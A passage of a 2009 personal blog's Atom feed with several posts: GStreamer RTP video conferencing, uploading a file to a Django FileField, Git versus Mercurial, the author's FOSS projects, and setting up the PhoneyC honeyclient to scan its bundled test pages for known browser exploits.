You can play with other options and find the most suitable for you. ImageMagick is a your magic wand to do anything with the images, so do not miss it.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-2767117983952518618?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/2767117983952518618/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/07/mini-howto-create-pdf-document-from.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2767117983952518618'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/2767117983952518618'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/07/mini-howto-create-pdf-document-from.html' title='Mini HOWTO: Create a PDF document from multiple images'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-5180959551789153257</id><published>2009-07-01T19:13:00.004-07:00</published><updated>2009-07-01T19:40:17.164-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='.NET'/><category scheme='http://www.blogger.com/atom/ns#' term='git'/><category scheme='http://www.blogger.com/atom/ns#' term='dvcs'/><category scheme='http://www.blogger.com/atom/ns#' term='trac'/><category scheme='http://www.blogger.com/atom/ns#' term='qt'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>My FOSS projects</title><content type='html'>&lt;p&gt;Updated list of the projects I'm working on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://maildispatcher.sourceforge.net/"&gt;&lt;b&gt;Mail Dispatcher&lt;/b&gt;&lt;/a&gt; (role: admin, platform: Python/PyGTK) - A tool for dispatching (basically, deleting) email messages on POP3 server via Plain or SSL connection with advanced filtering capabilities.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sourceforge.net/projects/dhcpexplorer/"&gt;&lt;b&gt;DHCP Explorer&lt;/b&gt;&lt;/a&gt; (role: admin, platform: Python) - A console cross-platform tool for locating all available DHCP servers.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sourceforge.net/projects/sdict2db/"&gt;&lt;b&gt;sdict2db&lt;/b&gt;&lt;/a&gt; (role: admin, platform: C#/WinForms) - Parser for SDict-based format dictionaries with ability to save in a SQL server (with creating table, index and filling data) and in a text file (SDict text format).&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sourceforge.net/projects/dnndict/"&gt;&lt;b&gt;DNN Dictionary&lt;/b&gt;&lt;/a&gt; (role: admin, platform: C#/DotNetNuke) - A DotNetNuke module for translating texts using SDict-based (http://sdict.ru/en/) dictionaries. It works using AJAX mechanism so there is no pages reloading during translating.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sourceforge.net/projects/gws/"&gt;&lt;b&gt;Geek Workspace&lt;/b&gt;&lt;/a&gt; (role: admin, platform: Python/PyQt4) - Geek Workspace is a desktop environment aimed for developers, scientists, engineers and students. The key point is a programmed control over all elements of the environment, including modifying it in a runtime.
&lt;/li&gt;
&lt;li&gt;&lt;a href="http://sourceforge.net/projects/qtermwidget/"&gt;&lt;b&gt;QTermWidget&lt;/b&gt;&lt;/a&gt; (role: PyQt4-binding developer, platform: C++/Qt4) - Terminal emulation widget based on KDE4 Konsole, rewritten entirely with QT4.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://trac-hacks.org/wiki/CodeExampleMacro"&gt;&lt;b&gt;CodeExample&lt;/b&gt;&lt;/a&gt; (role: admin, platform: Python/Trac) - The Trac plugin for code examples colouring. It support three types of examples - a simple, a correct and an incorrect.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Although I'm not working with these project very often, I provide maintenance for them, and have certain plans, like:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Move to &lt;a href="http://nuald.blogspot.com/2009/06/git-vs-mercurial.html"&gt;Git&lt;/a&gt; as DVCS.&lt;/li&gt;
&lt;li&gt;Update the code for compatibility with newer platforms and programming languages.&lt;/li&gt;
&lt;li&gt;Add required unit-tests (ideally I want to provide full code coverage).&lt;/li&gt;
&lt;li&gt;Add required documentation, examples and web pages.&lt;/li&gt;
&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-5180959551789153257?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/5180959551789153257/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/07/my-foss-projects.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/5180959551789153257'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/5180959551789153257'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/07/my-foss-projects.html' title='My FOSS projects'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-504433970790954515</id><published>2009-07-01T03:18:00.007-07:00</published><updated>2010-09-20T18:22:26.928-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='video'/><category scheme='http://www.blogger.com/atom/ns#' term='multicast'/><category scheme='http://www.blogger.com/atom/ns#' term='gstreamer'/><category scheme='http://www.blogger.com/atom/ns#' term='git'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Creating video conference application with GStreamer</title><content type='html'>&lt;a href="http://www.gstreamer.net/"&gt;GStreamer&lt;/a&gt; is a library for constructing graphs of media-handling components. The applications it supports range from simple Ogg/Vorbis playback, audio/video streaming to complex audio (mixing) and video (non-linear editing) processing. GStreamer is released under the LGPL, so it can be used in commercial applications.&lt;br /&gt;
&lt;br /&gt;
The power of GStreamer is in its module infrastructure - you're working with certain "blocks", combine it with "pipes" and got results without any coding (via &lt;i&gt;gst-launch&lt;/i&gt; utility). Of course, after playing with &lt;i&gt;gst-launch&lt;/i&gt; you can write an application in any language you prefer (GStreamer supports various &lt;a href="http://gstreamer.freedesktop.org/bindings/"&gt;bindings &lt;/a&gt; and due to fact that GStreamer is written in C, I do not see any problems to bind it with an application that is developed in any serious programming language).&lt;br /&gt;
&lt;br /&gt;
I do not want to explain GStream basics, but move forward to the blog topic - creating videoconference application. If you want certain tutorial, please take a look to the &lt;a href="http://pygstdocs.berlios.de/pygst-tutorial/index.html"&gt;Python GStreamer Tutorial&lt;/a&gt; by Jens Persson.&lt;br /&gt;
&lt;br /&gt;
Actually, the videoconference application is already written. Of course, it doesn't have any UI, but instead it have all required functionality. You can find it at &lt;a href="http://cgit.freedesktop.org/gstreamer/gst-plugins-good/tree/tests/examples/rtp"&gt;gstreamer gst-plugins-good RTP examples&lt;/a&gt;: &lt;a href="http://cgit.freedesktop.org/gstreamer/gst-plugins-good/tree/tests/examples/rtp/server-v4l2-H264-alsasrc-PCMA.sh"&gt;server-v4l2-H264-alsasrc-PCMA.sh&lt;/a&gt; and &lt;a href="http://cgit.freedesktop.org/gstreamer/gst-plugins-good/tree/tests/examples/rtp/client-H264-PCMA.sh"&gt;client-H264-PCMA.sh&lt;/a&gt;. Please notice that the server script broadcast traffic via RTP-protocol, so such conference will not work via plain Internet connection, but only in LAN/VLAN. These scripts require &lt;i&gt;x264enc&lt;/i&gt; element, that is provided by gstreamer0.10-plugins-bad-multiverse package in Ubuntu:&lt;br /&gt;
&lt;pre&gt;$ apt-get install gstreamer0.10-plugins-bad-multiverse
&lt;/pre&gt;
To play with these scripts locally it will be nice to clone the required Git repo and works in your own branches:&lt;br /&gt;
&lt;pre&gt;$ git clone git://anongit.freedesktop.org/git/gstreamer/gst-plugins-good
&lt;/pre&gt;
Create your own branch and modify sources as you want. For example:&lt;br /&gt;
&lt;pre&gt;$ cd gst-plugins-good
$ git checkout -b "tests"
&lt;/pre&gt;
You can apply a patch below to make these scripts works locally without any webcams:&lt;br /&gt;
&lt;pre&gt;diff --git a/tests/examples/rtp/client-H264-PCMA.sh b/tests/examples/rtp/client-H264-PCMA.sh
index ef5e2df..c6aea6d 100755
--- a/tests/examples/rtp/client-H264-PCMA.sh
+++ b/tests/examples/rtp/client-H264-PCMA.sh
@@ -47,7 +47,7 @@ LATENCY=200
 VIDEO_CAPS="application/x-rtp,media=(string)video,clock-rate=(int)90000,encoding-name=(string)H264"
 AUDIO_CAPS="application/x-rtp,media=(string)audio,clock-rate=(int)8000,encoding-name=(string)PCMA"
 
-gst-launch -v gstrtpbin name=rtpbin latency=$LATENCY                                  \
+gst-launch-0.10 -v gstrtpbin name=rtpbin latency=$LATENCY                                  \
      udpsrc caps=$VIDEO_CAPS port=5000 ! rtpbin.recv_rtp_sink_0                       \
        rtpbin. ! rtph264depay ! ffdec_h264 ! xvimagesink                              \
      udpsrc port=5001 ! rtpbin.recv_rtcp_sink_0                                       \
diff --git a/tests/examples/rtp/server-v4l2-H264-alsasrc-PCMA.sh b/tests/examples/rtp/server-v4l2-H264-alsasrc-PCMA.sh
index d42b512..7fe3259 100755
--- a/tests/examples/rtp/server-v4l2-H264-alsasrc-PCMA.sh
+++ b/tests/examples/rtp/server-v4l2-H264-alsasrc-PCMA.sh
@@ -47,8 +47,8 @@ VOFFSET=0
 AOFFSET=0
 
 # H264 encode from the source
-VELEM="v4l2src"
-#VELEM="videotestsrc is-live=1"
+#VELEM="v4l2src"
+VELEM="videotestsrc is-live=1"
 VCAPS="video/x-raw-yuv,width=352,height=288,framerate=15/1"
 VSOURCE="$VELEM ! $VCAPS ! queue ! videorate ! ffmpegcolorspace"
 VENC="x264enc byte-stream=true bitrate=300 ! rtph264pay"
@@ -58,8 +58,8 @@ VRTCPSINK="udpsink port=5001 host=$DEST sync=false async=false name=vrtcpsink"
 VRTCPSRC="udpsrc port=5005 name=vrtpsrc"
 
 # PCMA encode from the source
-AELEM="alsasrc"
-#AELEM="audiotestsrc is-live=1"
+#AELEM="alsasrc"
+AELEM="audiotestsrc is-live=1"
 ASOURCE="$AELEM ! queue ! audioresample ! audioconvert"
 AENC="alawenc ! rtppcmapay"
 
@@ -67,7 +67,7 @@ ARTPSINK="udpsink port=5002 host=$DEST ts-offset=$AOFFSET name=artpsink"
 ARTCPSINK="udpsink port=5003 host=$DEST sync=false async=false name=artcpsink"
 ARTCPSRC="udpsrc port=5007 name=artpsrc"
 
-gst-launch -v gstrtpbin name=rtpbin \
+gst-launch-0.10 -v gstrtpbin name=rtpbin \
     $VSOURCE ! $VENC ! rtpbin.send_rtp_sink_0                                             \
         rtpbin.send_rtp_src_0 ! $VRTPSINK                                                 \
         rtpbin.send_rtcp_src_0 ! $VRTCPSINK                                               \
&lt;/pre&gt;
As you can see, I just changed AELEM and VELEM in the server script, and fixed a gst-launch utility name. After that you can start a server:&lt;br /&gt;
&lt;pre&gt;$ cd tests/examples/rtp
$ ./server-v4l2-H264-alsasrc-PCMA.sh 
&lt;/pre&gt;
And in another terminal - a client:&lt;br /&gt;
&lt;pre&gt;$ ./client-H264-PCMA.sh
&lt;/pre&gt;
That's all! You will see a picture and hear a certain noise: &lt;a href="http://1.bp.blogspot.com/_b8spDATDZH0/SktIM17c32I/AAAAAAAAAHY/dX-Sh-POFkA/s1600-h/client.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5353451967532031842" src="http://1.bp.blogspot.com/_b8spDATDZH0/SktIM17c32I/AAAAAAAAAHY/dX-Sh-POFkA/s320/client.png" style="cursor: hand; cursor: pointer; display: block; height: 280px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt; &lt;br /&gt;
Now you can change VELEM and AELEM to required sources (including your own) and embed GStream graph to your application. Good luck!&lt;br /&gt;
&lt;br /&gt;
UPDATE: In new versions of Ubuntu the x264enc gstreamer element has been moved to another package:&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;gstreamer0.10-plugins-ugly-multiverse&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-504433970790954515?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/504433970790954515/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/07/creating-video-conference-application.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/504433970790954515'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/504433970790954515'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/07/creating-video-conference-application.html' title='Creating video conference application with GStreamer'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_b8spDATDZH0/SktIM17c32I/AAAAAAAAAHY/dX-Sh-POFkA/s72-c/client.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-7022033758259543318</id><published>2009-06-25T22:09:00.003-07:00</published><updated>2009-06-25T22:55:02.054-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='django'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Mini HOWTO: Programmatically upload a file in Django</title><content type='html'>&lt;p&gt;Surprisely, there is no any good advice in the Internet how to programmatically upload a file to the &lt;b&gt;FileField&lt;/b&gt; field in the Django. I want to cover this issue with the sample that shows how to upload a generic file from the Internet to a Django application. The code is simple:&lt;/p&gt;
&lt;pre&gt;
import urllib, mimetypes, os
from django.core.files.base import ContentFile
#...
filename, msg = urllib.urlretrieve(img)
ext = mimetypes.guess_extension(msg.type)
name, original_ext = os.path.splitext(filename)
new_filename = filename
if ext != original_ext:
     new_filename += ext
obj.file.save(new_filename, ContentFile(open(filename).read()))
&lt;/pre&gt;
&lt;p&gt;First of all, we retrieves a file. &lt;i&gt;urlretrieve&lt;/i&gt; returns a tuple &amp;lt;filename, msg&amp;gt;. &lt;i&gt;filename&lt;/i&gt; is a name of a temporary file with the downloaded content. &lt;i&gt;msg&lt;/i&gt; is a &lt;b&gt;HTTPMessage&lt;/b&gt; class instance that contains headers of the file.&lt;/p&gt;
&lt;p&gt;We use &lt;i&gt;msg&lt;/i&gt; to determinate the type of the file. For this &lt;i&gt;guess_extension&lt;/i&gt; method is used. It is required for the case when the file is generated automatically on the server side (for that case the file will be downloaded without any extension).&lt;/p&gt;
&lt;p&gt;After that we compares extensions and generates required &lt;i&gt;new_filename&lt;/i&gt;. I want to notice that although a file can be downloaded with the some extension, this extension can be wrong, and only MIME type of the file is a right way to determinate the file's content.&lt;/p&gt;
&lt;p&gt;And last step is storing the file in the Django model instance (in our case - &lt;i&gt;obj.file&lt;/i&gt; field). Please notice that &lt;b&gt;ContentFile&lt;/b&gt; class is used for storing the file - Django requires a chunked file to be uploaded to the &lt;b&gt;FileField&lt;/b&gt; field. &lt;b&gt;ContentFile&lt;/b&gt; creates a chunked file from the bytes received in the constructor.&lt;/p&gt;
&lt;p&gt;Though you can use just certain OS operations to generate a filename and save a file in the required &lt;i&gt;MEDIA_ROOT&lt;/i&gt; directory, it is not an easy way (especially if a file field has a non-trivial &lt;i&gt;upload_to&lt;/i&gt; attribute value like some lambda). And this is the only way to save a file in a custom file storage.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-7022033758259543318?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/7022033758259543318/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/06/mini-howto-programmatically-upload-file.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7022033758259543318'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7022033758259543318'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/06/mini-howto-programmatically-upload-file.html' title='Mini HOWTO: Programmatically upload a file in Django'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-7978421824480020709</id><published>2009-06-19T02:20:00.003-07:00</published><updated>2009-06-19T04:39:27.270-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='honeyclient'/><category scheme='http://www.blogger.com/atom/ns#' term='phoneyc'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>PhoneyC honeyclient</title><content type='html'>&lt;h1&gt;Overview&lt;/h1&gt;
&lt;p&gt;Let me introduce &lt;a href="http://code.google.com/p/phoneyc/"&gt;PhoneyC&lt;/a&gt; - pure Python honeyclient implementation.&lt;/p&gt;
&lt;p&gt;It is a perspective project and it has a huge potential. All features and advantages are described in a corresponding &lt;a href="http://phoneyc.googlecode.com/svn/phoneyc/trunk/doc/papers/leet09/phoneyc.pdf"&gt;article&lt;/a&gt;. Briefly, PhoneyC is a low interaction, virtual honeyclient that emulates the core functionality of a web client and emulates specific vulnerabilities to pinpoint the attack vector.&lt;/p&gt;
&lt;p&gt;It consists of two core components - a simple web crawler (&lt;a href="http://code.google.com/p/phoneyc/source/browse/phoneyc/trunk/honeywalk.py"&gt;honeywalk.py&lt;/a&gt;) and an analysis engine (&lt;a href="http://code.google.com/p/phoneyc/source/browse/phoneyc/trunk/honeyclient.py"&gt;honeyclient.py&lt;/a&gt;) with all required auxiliary modules. Further I'll describe installation and usage procedures.&lt;/p&gt;
&lt;h1&gt;Installation&lt;/h1&gt;
&lt;p&gt;As a sample platform I'm using Ubuntu 9.04 Jaunty Jackalope for x84-64 processor. Following the &lt;a href="http://code.google.com/p/phoneyc/source/browse/phoneyc/trunk/README"&gt;README&lt;/a&gt; instructions we have to install python 2.3 and upper, clamav, spidermonkey, vb2py and curl (it is not mentioned in the README file, but it is used internally by the analysis engine):&lt;/p&gt;
&lt;pre&gt;
$ sudo apt-get install clamav spidermonkey-bin
&lt;/pre&gt;
&lt;p&gt;Python is already installed in the system by default. vb2py functionality is not using right now in the project trunk, but I hope that it will be fixed in the near future.&lt;/p&gt;
&lt;p&gt;Also symlinks should be created (now all paths are hardcoded in the project). And for correct ClamAV scanning a 'clamd' directory should be created in '/tmp'.&lt;/p&gt;
&lt;pre&gt;
$ sudo mkdir -p /usr/local/bin
$ sudo ln -s /usr/bin/smjs /usr/local/bin/js
$ sudo ln -s /usr/bin/clamscan /usr/local/bin/clamdscan
$ mkdir /tmp/clamd
&lt;/pre&gt;
&lt;p&gt;And of course the project should be checked out:&lt;/p&gt;
&lt;pre&gt;
svn co http://phoneyc.googlecode.com/svn/phoneyc/trunk phoneyc
&lt;/pre&gt;
&lt;p&gt;That is all! I think in near future the process of installation will be reduced and egg-file will be created. But the project is in the heavy development now and there are other features that should be implemented first.&lt;/p&gt;
&lt;h1&gt;Usage&lt;/h1&gt;
&lt;p&gt;It is difficult to find a sites in a wild that will be recognized by PhoneyC now. Although it has a good database with vulnerabilities, these vulnerabilities is not using so often now. But I hope that in the future the database will be actual enough for finding infected sites in a wild (actually, it is a one of the goals of the project). So for now let just use a tests that are provided with the project.&lt;/p&gt; 
&lt;p&gt;All tests are located in the 'tests' directory. First of all, test a HTML-file via file://-locator:&lt;/p&gt;
&lt;pre&gt;
nuald@nuald-laptop:~/workspace/phoneyc/trunk$ python honeywalk.py file://`pwd`/tests/toshiba.html
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: the md5 module is deprecated; use hashlib instead
  import md5, popen2, os, re, sets
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: The popen2 module is deprecated.  Use the subprocess module.
  import md5, popen2, os, re, sets
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: the sets module is deprecated
  import md5, popen2, os, re, sets
HoneyWalk started at Fri Jun 19 09:11:23 2009 UTC
===&gt; file:///home/nuald/workspace/phoneyc/trunk/tests/toshiba.html  []
('Toshiba Surveillance oveflow in SetPort()\n', '', 'bf17c0466b197fd26f9203cae6ea2523') {'ClamAV': ('dde847a073d02b06644d6602fc224810', 'OK')}
&lt;/pre&gt;
&lt;p&gt;Please notice that the honeywalk.py script requires a full URI to the file (that's why I used `pwd` command). And ignore deprecation warnings - Ubuntu is shipped with the Python 2.6 and PhoneyC project is not ported to it yet.&lt;/p&gt;
&lt;p&gt;Now let's check a web site. Run a simple site with SimpleHTTPServer module:&lt;/p&gt;
&lt;pre&gt;
nuald@nuald-laptop:~/workspace/phoneyc/trunk$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
&lt;/pre&gt;
&lt;p&gt;And check a HTML page via HTTP:&lt;/p&gt;
&lt;pre&gt;
nuald@nuald-laptop:~/workspace/phoneyc/trunk$ python honeywalk.py http://localhost:8000/tests/xupload.html
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: the md5 module is deprecated; use hashlib instead
  import md5, popen2, os, re, sets
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: The popen2 module is deprecated.  Use the subprocess module.
  import md5, popen2, os, re, sets
/home/nuald/workspace/phoneyc/trunk/honeyclient.py:6: DeprecationWarning: the sets module is deprecated
  import md5, popen2, os, re, sets
HoneyWalk started at Fri Jun 19 09:18:06 2009 UTC
===&gt; http://localhost:8000/tests/xupload.html  []
('XUpload overflow in AddFolder()\n', '', '1d53a3556ec686912fa58bf97d3be7b5') {'ClamAV': ('a1877275c721080a3bb49fbca9282e3e', 'OK')}
&lt;/pre&gt;
&lt;p&gt;That's all for now. I hope that the project will be growning and gain a much popularity.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-7978421824480020709?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/7978421824480020709/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/06/phoneyc-honeyclient.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7978421824480020709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/7978421824480020709'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/06/phoneyc-honeyclient.html' title='PhoneyC honeyclient'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-6029492237568161655</id><published>2009-06-17T03:41:00.006-07:00</published><updated>2009-06-17T04:56:53.775-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='scm'/><category scheme='http://www.blogger.com/atom/ns#' term='mercurial'/><category scheme='http://www.blogger.com/atom/ns#' term='git'/><category scheme='http://www.blogger.com/atom/ns#' term='dvcs'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><title type='text'>Git vs Mercurial</title><content type='html'>&lt;p&gt;Due to latest changes in projects hosting situation (like &lt;a href=http://voices.washingtonpost.com/securityfix/2009/06/ftc_sues_shuts_down_n_calif_we.html&gt;FTC Sues, Shuts Down N. Calif. Web Hosting Firm&lt;/a&gt;, &lt;a href=http://www.h-online.com/open/Adobe-acts-against-Flash-video-stream-recorder--/news/113370&gt;Adobe acts against Flash video stream recorder&lt;/a&gt;) I started thinking about moving on to some &lt;a href="http://en.wikipedia.org/wiki/Distributed_revision_control"&gt;DVCS&lt;/a&gt; system. Now there are only two serious alternatives: &lt;a href="http://git-scm.com/"&gt;Git&lt;/a&gt; and &lt;a href="http://www.selenic.com/mercurial/"&gt;Mercurial&lt;/a&gt;.
&lt;/p&gt;
&lt;p&gt;First of all, here are two good articles where these systems are compared:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=http://www.python.org/dev/peps/pep-0374/&gt;Chosing a distributed VCS for the Python project&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://code.google.com/p/support/wiki/DVCSAnalysis"&gt;Analysis of Git and Mercurial&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In both of these articles Mercurial wins due to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;lack of good Git support in Windows system;&lt;/li&gt;
&lt;li&gt;having Python API.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But also in both of these articles it is said that Git has more features and is more powerful than Mercurial. Actually none of the issues above does not concern me personally because I'm not developing in Windows OS now, and I do not require any integration with DVCS.&lt;/p&gt;

&lt;p&gt;But let me notice that these issues are not so critical right now:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;there is an awesome &lt;a href="http://code.google.com/p/tortoisegit/"&gt;TortoiseGit&lt;/a&gt; project and it works really good;&lt;/li&gt;
&lt;li&gt;basically only certain hooks are required for integration with SCM-software and Git has all &lt;a href="http://www.kernel.org/pub/software/scm/git/docs/githooks.html"&gt;required functionality&lt;/a&gt; for this, and of course hook scripts can be written in any language including Python.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But there is an issue that I really care about - I do not like the "branch" system that Mercurial provides. The new "branch" in Mercurial terminology is a physical clone of the other "branch". Although cloning uses hard links for creating copies it doesn't deny the fact that my file system will be crowded with copies of the same files. Maybe for someone it is good, but not for me - I do not like too much garbage in my computer.&lt;/p&gt;

&lt;p&gt;And please do not forget about C++-programmers. They create a branch and have to compile this branch from scratch in Mercurial case. Though they can create a shared directory for object files, in some situations it is not acceptable.&lt;/p&gt;

&lt;p&gt;So now it is more preferable for me to use Git. I'm not an expert in both systems, but in my case Git is more suitable for my needs.
&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-6029492237568161655?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/6029492237568161655/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2009/06/git-vs-mercurial.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/6029492237568161655'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/6029492237568161655'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2009/06/git-vs-mercurial.html' title='Git vs Mercurial'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_b8spDATDZH0/SjYfTbQYXII/AAAAAAAAAG4/Y5zRMIfFIxs/S220/logo.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3721596730656231421.post-4975859524880387115</id><published>2009-04-27T21:36:00.004-07:00</published><updated>2009-04-28T03:41:13.552-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='open source'/><category scheme='http://www.blogger.com/atom/ns#' term='gpl'/><category scheme='http://www.blogger.com/atom/ns#' term='qt'/><category scheme='http://www.blogger.com/atom/ns#' term='python'/><category scheme='http://www.blogger.com/atom/ns#' term='testing'/><category scheme='http://www.blogger.com/atom/ns#' term='kde'/><title type='text'>Geek Desktop Solution project</title><content type='html'>&lt;p&gt;
